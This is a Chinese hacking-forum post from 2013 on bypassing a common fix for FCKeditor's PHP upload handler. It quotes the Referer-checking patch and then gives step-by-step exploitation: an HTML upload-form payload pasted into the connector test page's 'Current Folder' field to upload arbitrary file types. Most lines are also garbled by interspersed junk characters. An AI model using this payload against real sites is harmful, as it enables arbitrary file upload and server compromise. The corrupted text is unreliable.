找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2167|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php2 K& |% [3 V4 d! _1 `* p7 B
网上给出的修复方案是. q5 \+ [" g0 F$ H# C% E, H
修复方法,删除FCK编辑器用其他的编辑器6 H0 Q. J* e0 U9 r- y
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
1 i% e$ s% b% K; ^. B0 s  d% p. O9 ^. {- h" q$ H) ], z; Z' m5 T
require(‘config.php’);
0 N7 m5 c/ A! B% U3 Arequire(‘util.php’);
" t& V( x% L( V9 y& G% I' C的下面添加以下代码—————————–
+ R. O4 }" ?- D//防止外部提交
1 L/ m2 _/ F0 b0 ]: A. S6 L% Bfunction outsidepost()8 c1 j: v6 M- k4 K4 V+ O  F  t
{
2 x" Q: i% A0 l* a$servername=$_SERVER['SERVER_NAME'];- a/ S) r4 O6 @; }# i% _1 d
$sub_from=@$_SERVER['HTTP_REFERER'];
* M- O# L7 f  @5 c7 N$sub_len=strlen($servername);7 N- x; T2 S/ z0 ?7 q
$checkfrom=substr($sub_from,7,$sub_len);; Z4 L3 x  x# U, B. a3 q( P- ?
if($checkfrom!=$servername){" ^; _" a# c8 z2 X5 m9 X: z0 Q
echo(“you don’t outsidepost!”);1 J, F" j  v9 l, P" ^
exit;
- x/ X6 Y# Z4 x7 a4 `' U}
& Z' t% I, s" i" m. {5 b& M9 J& m}
& F9 J4 J" _3 |5 woutsidepost();
- D- j# Q* _" Q) D防止外部提交,但是没有防止内部提交,3 ]9 ]/ l% o. Q$ ]" U; F/ K% i
利用方法:
9 y; F! v3 n& L1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html* e( \8 A  z2 F/ |* l% D
2,在Current Folder 框输入5 B: r' ~$ ~! B9 E& c% n& k
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>- e, |2 ?6 I# ?5 U' J' t7 [
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
/ i  P1 ^+ R' C$ W' r$ L% e1 \PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表